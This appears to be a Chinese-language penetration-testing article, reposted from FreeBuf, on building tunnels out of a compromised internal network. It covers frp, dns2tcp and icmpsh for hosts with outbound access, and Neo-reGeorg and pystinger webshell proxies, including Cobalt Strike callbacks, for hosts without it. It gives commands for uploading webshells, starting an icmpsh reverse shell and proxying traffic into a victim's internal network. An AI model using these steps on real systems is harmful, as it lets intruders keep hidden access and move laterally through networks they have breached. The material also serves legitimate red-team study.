前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >内网渗透之主机出网OR不出网隧道搭建

内网渗透之主机出网OR不出网隧道搭建

作者头像
FB客服
发布2023-04-26 21:24:46
发布2023-04-26 21:24:46
2.1K00
代码可运行
举报
文章被收录于专栏:FreeBufFreeBuf
运行总次数:0
代码可运行

当拿到权限之后,做完本地信息收集,最重要的就是做个隧道,对内网进行下一步攻击,这里简单介绍几个常用的工具,主要针对于出网和不出网两种情况。

出网情况

拿到服务器权限之后,遇见这种机器,十分简单,针对不同情况搭建不同隧道,为了速度可以建立sockets隧道、为了隐蔽可以使用dns隧道、icmp隧道等,本文简单介绍几个常用工具。

frp

frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。

项目地址:https://github.com/fatedier/frp/

下载之后,我们只需要关注四个文件即可:

  • frps
  • frps.ini
  • frpc
  • frpc.ini

修改frpc.ini,这里搭建sockets隧道,上传至目标服务器启动即可。

代码语言:javascript
代码运行次数:0
运行
复制
./frpc -c frpc.ini

服务端根据frps.ini修改端口

启动监听

代码语言:javascript
代码运行次数:0
运行
复制
./frps -c frps.ini

即可建立sockets隧道,利用Proxifierprox等,即可全局代理隧道,访问目标主机内网。

dns

这个比较麻烦需要准备一个域名,和一台DNS服务器,在域名解析添加一条NS记录和一条A记录。举个例子,域名是123.com,添加一个子域名a.123.com,且类型为NS,并将NS记录指向b.123.com,然后将b.123.com建立A记录服务器IP即可,利用的工具也很多,本文简单介绍dns2tcp。

代码语言:javascript
代码运行次数:0
运行
复制
a.123.com NS b.123.com
b.123.com A 1.1.1.1

项目地址:https://github.com/HEYAHONG/dns2tcp

客户端

代码语言:javascript
代码运行次数:0
运行
复制
dns2tcpc -r nc -z a.123.com 1.1.1.1 -l 8888 -d 2  
-r 后接服务名称任意换, 本文用nc
-z 后接NS记录的网址
-l 后接本地端口

服务端

修改dns2tcpd.conf,

代码语言:javascript
代码运行次数:0
运行
复制
listen = 0.0.0.0
port = 53
user = root
chroot = /home/
domain = a.123.com
key = 123
resources = ssh:127.0.0.1:22,smtp:127.0.0.1:25,socks:127.0.0.1:1080,http:127.0.0.1:80,https:127.0.0.1:8080

然后执行,dns隧道就搭建好了,利用nc进行传输文件即可。

代码语言:javascript
代码运行次数:0
运行
复制
dns2tcpd -F -d 3 -f /home/dns2tcpd.conf

建立传输

目标主机监听并接受文件即可。

icmp

icmp隧道主要因为大部分防火墙不会屏蔽 ping ,所以可以将流量封装在icmp进行传输,这种速度跟sockets相比太慢了,特殊情况才会使用。

项目地址:https://github.com/inquisb/icmpsh

服务端:

python icmpsh_m.py ip 目标ip

目标机

代码语言:javascript
代码运行次数:0
运行
复制
icmpsh.exe -t 目标ip

即可反弹icmp隧道shell回来。

不出网情况

拿到服务器权限之后,遇见这种机器,只能利用基于webshell的代理,只需要将webshell上传到目标主机即可,然后建立tcp连接,主要利用session来识别不同的的tcp连接,我们攻击监听tcp,将数据post提交到webshell即可进行传输,本文简单介绍两个常用的。

Neo-reGeorg

Neo-reGeorg相当于是 reGeorg的升级版,有了更强的隐蔽性,原理都是相同的,常用于webshell代理流量,进而进行内网渗透。

项目地址:https://github.com/L-codes/Neo-reGeorg

首先需要设置密码,生成各种类型webshell,并上传至目标服务器

代码语言:javascript
代码运行次数:0
运行
复制
python neoreg.py generate -k password

上传至服务器即可,然后启动监听即可

代码语言:javascript
代码运行次数:0
运行
复制
python neoreg.py -k password -u http://1.1.1.1/tunnel.php

最后挂上sockets代理即可访问内网。

pystinger

毒刺(pystinger)通过webshell实现内网socks4代理,并且可以利用pystinge实现各种cs\msf上线,目前仅支持php、jsp(x)、aspx.

项目地址:https://github.com/FunnyWolf/pystinger

这个工具比较强大,这里可以直接上线cs,简单介绍如何搭建socks4以及cs上线。

socks4隧道搭建:

首先上传proxy.php,然后上传stinger_server.exe 到目标服务器,并start命令运行该程序

最后在我们的服务器执行

代码语言:javascript
代码运行次数:0
运行
复制
./stinger_client -w http://1.1.1.1/proxy.php -l 0.0.0.0 -p 60000

即可建立socks4隧道,利用Proxifierprox等,访问目标主机内网。

cs上线:

前面大体相同,首先上传proxy.php,然后上传stinger_server.exe 到目标服务器,启动利用冰蝎start启动即可

我们的服务器也需要进行监听

代码语言:javascript
代码运行次数:0
运行
复制
./stinger_client -w http://1.1.1.1/proxy.php -l 0.0.00 -p 60000

然后cs进行监听,端口填写60020

进而利用cs生成powershell

执行可以利用pystinger,进行不出网主机上线。

End

这里只是抛砖引玉,引出一些在之前工作中针对于不出网以及出网主机,用过最多的几个隧道代理工具,还请各位大佬勿喷,有更好的工具多补充,共同交流,这样我们才能共同成长,格拉德威尔曾说过:“人们眼中的天才之所以卓越非凡,并非天资超人一等,而是付出了持续不断的努力。1万小时的锤炼是任何人从平凡变成世界级大师的必要条件“。

精彩推荐

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-12-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 出网情况
    • frp
    • dns
    • icmp
  • 不出网情况
    • Neo-reGeorg
    • pystinger
  • End
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档